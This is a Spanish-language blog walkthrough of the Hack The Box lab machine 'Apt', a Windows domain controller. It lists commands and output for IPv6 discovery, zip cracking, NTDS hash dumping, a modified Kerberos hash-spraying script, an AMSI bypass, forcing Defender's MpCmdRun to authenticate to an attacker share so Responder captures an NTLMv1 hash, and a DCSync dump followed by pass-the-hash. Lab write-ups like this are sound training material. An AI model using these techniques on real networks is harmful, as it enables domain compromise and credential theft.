r4cc0x Blog

Box Info

Name	Apt
Release Date	31 Oct, 2020
OS	Windows
Rated Difficulty	Insane

Ping

ping -c 3 10.10.10.213

PING 10.10.10.213 (10.10.10.213) 56(84) bytes of data.
64 bytes from 10.10.10.213: icmp_seq=1 ttl=127 time=126 ms
64 bytes from 10.10.10.213: icmp_seq=2 ttl=127 time=126 ms
64 bytes from 10.10.10.213: icmp_seq=3 ttl=127 time=125 ms

ttl 127 = Windows

Recon

nmap -sCV -p 80,135 10.10.10.213 -oN targeted
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-29 19:42 CST
Nmap scan report for 10.10.10.213
Host is up (0.13s latency).

PORT    STATE SERVICE VERSION
80/tcp  open  http    Microsoft IIS httpd 10.0
|_http-title: Gigantic Hosting | Home
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

WhatWeb

whatweb http://10.10.10.213/

http://10.10.10.213/ [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[sales@gigantichosting.com], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.213], JQuery, Microsoft-IIS[10.0], Script[application/x-javascript,text/javascript], Title[Gigantic Hosting | Home]

Enumeration

Directory Scan

dirsearch -u http://10.10.10.213/

Fuzzing Parameter

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -u 'http://10.10.10.213/FUZZ.html' -fc 404

Vemos que son los mismos directorios que vimos en la pagina web, intentaremos hacer fuzzin pero ahora a la extension para ver si encontramos algo interesante

wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -z list,asp-aspx http://10.10.10.213/FUZZ.FUZ2Z

RPC

Network Services Pentesting - Msrpc

Github - IOXIDResovler

python3 IOXIDResolver.py -t 10.10.10.213

[*] Retrieving network interface of 10.10.10.213
Address: apt
Address: 10.10.10.213
Address: dead:beef::b885:d62a:d679:573f
Address: dead:beef::f403:564:b500:5577
Address: dead:beef::205

IPv6

sudo nmap -p- --open --min-rate 5000 -n -vvv -Pn -6 dead:beef::b885:d62a:d679:573f -oG allPorts6

nmap -sCV -p 53,80,88,135,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49669,49670,49673,49685,63154 -6 dead:beef::b885:d62a:d679:573f -oN targeted6

1
53/tcp    open  domain       Simple DNS Plus
2
80/tcp    open  http         Microsoft IIS httpd 10.0
3
| http-server-header:
4
|   Microsoft-HTTPAPI/2.0
5
|_  Microsoft-IIS/10.0
6
|_http-title: Bad Request
7
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-30 02:36:23Z)
8
135/tcp   open  msrpc        Microsoft Windows RPC
9
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
10
|_ssl-date: 2025-06-30T02:37:30+00:00; +1s from scanner time.
11
| ssl-cert: Subject: commonName=apt.htb.local
12
| Subject Alternative Name: DNS:apt.htb.local
13
| Not valid before: 2020-09-24T07:07:18
14
|_Not valid after:  2050-09-24T07:17:18
15
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
16
464/tcp   open  kpasswd5?
17
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
18
636/tcp   open  ssl/ldap     Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
19
|_ssl-date: 2025-06-30T02:37:30+00:00; +1s from scanner time.
20
| ssl-cert: Subject: commonName=apt.htb.local
21
| Subject Alternative Name: DNS:apt.htb.local
22
| Not valid before: 2020-09-24T07:07:18
23
|_Not valid after:  2050-09-24T07:17:18
24
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
25
|_ssl-date: 2025-06-30T02:37:30+00:00; +1s from scanner time.
26
| ssl-cert: Subject: commonName=apt.htb.local
27
| Subject Alternative Name: DNS:apt.htb.local
28
| Not valid before: 2020-09-24T07:07:18
29
|_Not valid after:  2050-09-24T07:17:18
30
3269/tcp  open  ssl/ldap     Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
31
|_ssl-date: 2025-06-30T02:37:30+00:00; +1s from scanner time.
32
| ssl-cert: Subject: commonName=apt.htb.local
33
| Subject Alternative Name: DNS:apt.htb.local
34
| Not valid before: 2020-09-24T07:07:18
35
|_Not valid after:  2050-09-24T07:17:18
36
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
37
|_http-title: Bad Request
38
|_http-server-header: Microsoft-HTTPAPI/2.0
39
9389/tcp  open  mc-nmf       .NET Message Framing
40
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
41
|_http-server-header: Microsoft-HTTPAPI/2.0
42
|_http-title: Bad Request
43
49664/tcp open  msrpc        Microsoft Windows RPC
44
49665/tcp open  msrpc        Microsoft Windows RPC
45
49666/tcp open  msrpc        Microsoft Windows RPC
46
49667/tcp open  msrpc        Microsoft Windows RPC
47
49669/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
48
49670/tcp open  msrpc        Microsoft Windows RPC
49
49673/tcp open  msrpc        Microsoft Windows RPC
50
49685/tcp open  msrpc        Microsoft Windows RPC
51
63154/tcp open  msrpc        Microsoft Windows RPC
52
Service Info: Host: APT; OS: Windows; CPE: cpe:/o:microsoft:windows
53

54
Host script results:
55
|_clock-skew: mean: -8m32s, deviation: 22m38s, median: 0s
56
| smb-security-mode:
57
|   account_used: guest
58
|   authentication_level: user
59
|   challenge_response: supported
60
|_  message_signing: required
61
| smb2-time:
62
|   date: 2025-06-30T02:37:21
63
|_  start_date: 2025-06-30T01:35:21
64
| smb-os-discovery:
65
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
66
|   Computer name: apt
67
|   NetBIOS computer name: APT\x00
68
|   Domain name: htb.local
69
|   Forest name: htb.local
70
|   FQDN: apt.htb.local
71
|_  System time: 2025-06-30T03:37:23+01:00
72
| smb2-security-mode:
73
|   3:1:1:
74
|_    Message signing enabled and required

Tip: Tambien se puede enumerar el ipv6 a traves de snmp (puerto 161) con Enyx https://github.com/trickster0/Enyx pero siempre y cuando el servicio este abierto.

echo "dead:beef::b885:d62a:d679:573f apt.htb apt.htb.local" | sudo tee -a /etc/hosts

SMB

nxc smb apt.htb.local -u '' -p ''

windows 10 / server 2016 build 14393

smbclient -L apt.htb.local -N

smbclient //apt.htb.local/backup -N

7z l backup.zip

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2020-09-23 11:40:25 D....            0            0  Active Directory
2020-09-23 11:38:20 .....     50331648      8483543  Active Directory/ntds.dit
2020-09-23 11:38:20 .....        16384          342  Active Directory/ntds.jfm
2020-09-23 11:40:25 D....            0            0  registry
2020-09-23 11:22:12 .....       262144         8522  registry/SECURITY
2020-09-23 11:22:12 .....     12582912      2157644  registry/SYSTEM
------------------- ----- ------------ ------------  ------------------------
2020-09-23 11:40:25           63193088     10650051  4 files, 2 folders

Unzip

zip2john backup.zip > zip.hash

john zip.hash -w=/usr/share/wordlists/rockyou.txt

iloveyousomuch   (backup.zip)

NTDS Secrets

https://www.thehacker.recipes/ad/movement/credentials/dumping/ntds#_2-parsing

/usr/bin/impacket-secretsdump -system registry/SYSTEM -ntds Active\ Directory/ntds.dit LOCAL > hashes

cat hashes | grep "aad3b435b51404eeaad3b435b51404ee" | sponge  hashes3

Users

grep -oP '^[^:]+' hashes3 > users

Hashes

grep -oP '^[^:]+:[^:]+:[^:]+:\K[^:]+' hashes3 > hash1

Enumeration Users | Kerbrute

./kerbrute userenum --dc apt.htb.local -d htb.local users

1
APT$@htb.local
2
Administrator@htb.local
3
henry.vinson@htb.local

ASREP-Roasting | TGT

/usr/share/doc/python3-impacket/examples/GetNPUsers.py htb.local/ -no-pass -usersfile valid_user.txt
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] User henry.vinson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User APT$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set

Intetaremos usar el hash de henry.vinson para averiguar si es la correcta

Password Spraying

Despues de 20 intentos la maquina nos bloquea a traves de smb, podriamos intentar con kerbrute pero no permite brute force, necesitaremos otra herramienta que nos permita hacer brute force con hashes

https://github.com/cube0x0/HashSpray.py

Con esta herramienta nos permite hacer brute force hacia kerberos pero solo nos permite 1 hash y queremos que pruebe con varios hashes (para esto tenemos que modifica el script para que nos permita probar multiples hashes)

1
#!/usr/bin/python3
2
from __future__ import division
3
from __future__ import print_function
4
import argparse
5
import sys
6
from binascii import unhexlify
7
from impacket.krb5.kerberosv5 import getKerberosTGT, KerberosError
8
from impacket.krb5 import constants
9
from impacket.krb5.types import Principal
10
import multiprocessing
11
import socket
12

13

14
def login(username, password, domain, lmhash, nthash, aesKey, dc_ip):
15
    try:
16
        kerb_principal = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
17
        getKerberosTGT(kerb_principal, password, domain,
18
            unhexlify(lmhash), unhexlify(nthash), aesKey, dc_ip)
19
        print('[+] Success %s/%s' % (domain, username) )
20
        return "success"
21
    except KerberosError as e:
22
        if (e.getErrorCode() == constants.ErrorCodes.KDC_ERR_C_PRINCIPAL_UNKNOWN.value) or (e.getErrorCode() == constants.ErrorCodes.KDC_ERR_CLIENT_REVOKED.value) or (e.getErrorCode() == constants.ErrorCodes.KDC_ERR_WRONG_REALM.value):
23
           print("[-]Could not find username: %s/%s" % (domain, username) )
24
        elif e.getErrorCode() == constants.ErrorCodes.KDC_ERR_PREAUTH_FAILED.value:
25
            return
26
        else:
27
            print(e)
28
    except socket.error as e:
29
        print('[-] Could not connect to DC')
30
        return
31

32
if len(sys.argv) < 4:
33
    print("Usage: python3 kerbspray.py <domain> <username> <dc_ip> <hash_list>")
34
    exit()
35
else:
36
    domain = sys.argv[1]
37
    username = sys.argv[2]
38
    lmhash = 'aad3c435b514a4eeaad3b935b51304fe'
39
    aesKey = None
40
    dc_ip = sys.argv[3]
41
    hashfile = sys.argv[4]
42

43
    with open(hashfile, "r") as f:
44
        num_lines = len(f.readlines())
45

46
    print("[*] Spraying Hashes...\n")
47
    print("[i] Domain:             "+domain)
48
    print("[i] Target User:        "+username)
49
    print("[i] Domain Controller:  "+dc_ip)
50

51
    with open(hashfile, "r") as f:
52
        hashes = f.readlines()
53
        i = 1
54
        for ntlm in hashes:
55
            i = i+1
56
            print("[*] Current line: "+str(i)+"/"+str(num_lines), end="\r")
57
            nthash = ntlm.strip('\r\n')
58
            if(login(username, '', domain, lmhash, nthash, aesKey, dc_ip) == "success"):
59
                print("[+] Hash Found: " + nthash)
60
                exit()

1
e53d87d42adaa3ca32bdb34a876cbffb

Validate Credentials

nxc smb apt.htb.local -u 'henry.vinson' -H 'e53d87d42adaa3ca32bdb34a876cbffb'

Para smb tener inicio de sesion, pero para winrm no

Kerberoasting Attack | TGS

Intentare ahora obtener un tgs (kerberoasting attack), anteriormente intentamos un tgt(GetSPNUsers), ahora sera al revez ahora usaremos GetUserSPNs.

/usr/bin/impacket-GetUserSPNs htb.local/henry.vinson -hashes :e53d87d42adaa3ca32bdb34a876cbffb

Registry Hives

https://www.herongyang.com/Windows/Registry-Hives-HKCR-HKCU-HKLM-HKU-HKCC-HCPD.html

/usr/share/doc/python3-impacket/examples/reg.py -dc-ip apt.htb.local htb.local/henry.vinson@apt.htb.local -hashes :e53d87d42adaa3ca32bdb34a876cbffb query -keyName HKCU\\SOFTWARE

GiganticHostingManagementSystem

/usr/share/doc/python3-impacket/examples/reg.py -dc-ip apt.htb.local htb.local/henry.vinson@apt.htb.local -hashes :e53d87d42adaa3ca32bdb34a876cbffb query -keyName HKCU\\SOFTWARE\\GiganticHostingManagementSystem

henry.vinson_adm
G1#Ny5@2dvht

Validate Credentials

nxc smb apt.htb.local -u 'henry.vinson_adm' -p 'G1#Ny5@2dvht'
SMB         dead:beef::b885:d62a:d679:573f 445    APT              [*] Windows 10 / Server 2016 Build 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)
SMB         dead:beef::b885:d62a:d679:573f 445    APT              [+] htb.local\henry.vinson_adm:G1#Ny5@2dvht

winrm

nxc winrm apt.htb.local -u 'henry.vinson_adm' -p 'G1#Ny5@2dvht'
WINRM       dead:beef::b885:d62a:d679:573f 5985   APT              [*] Windows 10 / Server 2016 Build 14393 (name:APT) (domain:htb.local)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       dead:beef::b885:d62a:d679:573f 5985   APT              [+] htb.local\henry.vinson_adm:G1#Ny5@2dvht (Pwn3d!)

evil-winrm -i htb.local -u 'henry.vinson_adm' -p 'G1#Ny5@2dvht'

Bueno al intentar ejectuar el winPEASx64.exe, el defender actua y no nos permite hacer el analisis de vulnerabilidad, para poder bypassear el AMSI usaremos el menu de Evil-winrm

menu

Bypass-4MSI

menu

Ahora podemos usar el Invoke-Binary para poder ejecutar el winPEAS desde nuestra maquina, lo que intenta guardarlo en la memoria y desde alli ejecutarlo.

Por alguna razon no me deja ejecutar el winPEAS pero tenemos otra opcion con Seatbelt que es similar al winPEAS.

Incluso verificamos que su arquitectura es de 64 bits

[Environment]::Is64BitOperatingSystem

Ahora si podemos analizar alguna vulnerabilidad

Invoke-Binary /home/kali/Documents/HTB/APT/Seatbelt.exe -groups=all

Vemos que la maquina soporta NTLMv1 y esto es critico debido a que la encriptacion debil por su antiguedad

Network security: LAN Manager authentication level

Para poder capturar el hash ntlmv1 necesitamos de un recurso que intente autenticarse, en este caso MpCmdRun intentara autenticarse para hacer un escaneo sobre un recurso compartido (nosotros) y con responder capturar el hash de la autenticacion por parte del windows defender.

.\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.14.20\test

sudo responder -I tun0 --lm

APT$::HTB:55CCBC2A353B72BB5F55A50CB12F8062B8F9A26CA0F1D4D8:55CCBC2A353B72BB5F55A50CB12F8062B8F9A26CA0F1D4D8:9741345b1e30d734

Ahora necesitamos formatear el hash NTLMv1

https://github.com/evilmog/ntlmv1-multi

python3 ntlmv1.py --ntlmv1 "APT$::HTB:55CCBC2A353B72BB5F55A50CB12F8062B8F9A26CA0F1D4D8:55CCBC2A353B72BB5F55A50CB12F8062B8F9A26CA0F1D4D8:9741345b1e30d734"

Al parecer se usa una pagina web para encontrar u obtener el hash nt https://crack.sh/get-cracking/ pero por el momento esta caida la web.

Algo asi deberia llegar usando la pagina web que por el momento no esta activa.

No encontre otra forma de obtener el nt hash asi que por el momento usare un writeup para usar el nt hash.

impacket-secretsdump -hashes :d167c3238864b12f5f82feae86a7f798 'htb.local/APT$@htb.local'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:738f00ed06dc528fd7ebb7a010e50849:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
henry.vinson:1105:aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb:::
henry.vinson_adm:1106:aad3b435b51404eeaad3b435b51404ee:4cd0db9103ee1cf87834760a34856fef:::
APT$:1001:aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82feae86a7f798:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:72f9fc8f3cd23768be8d37876d459ef09ab591a729924898e5d9b3c14db057e3
Administrator:aes128-cts-hmac-sha1-96:a3b0c1332eee9a89a2aada1bf8fd9413
Administrator:des-cbc-md5:0816d9d052239b8a
krbtgt:aes256-cts-hmac-sha1-96:b63635342a6d3dce76fcbca203f92da46be6cdd99c67eb233d0aaaaaa40914bb
krbtgt:aes128-cts-hmac-sha1-96:7735d98abc187848119416e08936799b
krbtgt:des-cbc-md5:f8c26238c2d976bf
henry.vinson:aes256-cts-hmac-sha1-96:63b23a7fd3df2f0add1e62ef85ea4c6c8dc79bb8d6a430ab3a1ef6994d1a99e2
henry.vinson:aes128-cts-hmac-sha1-96:0a55e9f5b1f7f28aef9b7792124af9af
henry.vinson:des-cbc-md5:73b6f71cae264fad
henry.vinson_adm:aes256-cts-hmac-sha1-96:f2299c6484e5af8e8c81777eaece865d54a499a2446ba2792c1089407425c3f4
henry.vinson_adm:aes128-cts-hmac-sha1-96:3d70c66c8a8635bdf70edf2f6062165b
henry.vinson_adm:des-cbc-md5:5df8682c8c07a179
APT$:aes256-cts-hmac-sha1-96:4c318c89595e1e3f2c608f3df56a091ecedc220be7b263f7269c412325930454
APT$:aes128-cts-hmac-sha1-96:bf1c1795c63ab278384f2ee1169872d9
APT$:des-cbc-md5:76c45245f104a4bf
[*] Cleaning up...

evil-winrm -u administrator -H c370bddf384a691d811ff3495e8a72e2 -i apt.htb

Rooted 30/06/25

HTB - Apt

Box Info

Ping

Recon

WhatWeb

Enumeration

Directory Scan

Fuzzing Parameter

RPC

IPv6

SMB

NTDS Secrets

Enumeration Users | Kerbrute

ASREP-Roasting | TGT

Password Spraying

Validate Credentials

Kerberoasting Attack | TGS

Registry Hives

Validate Credentials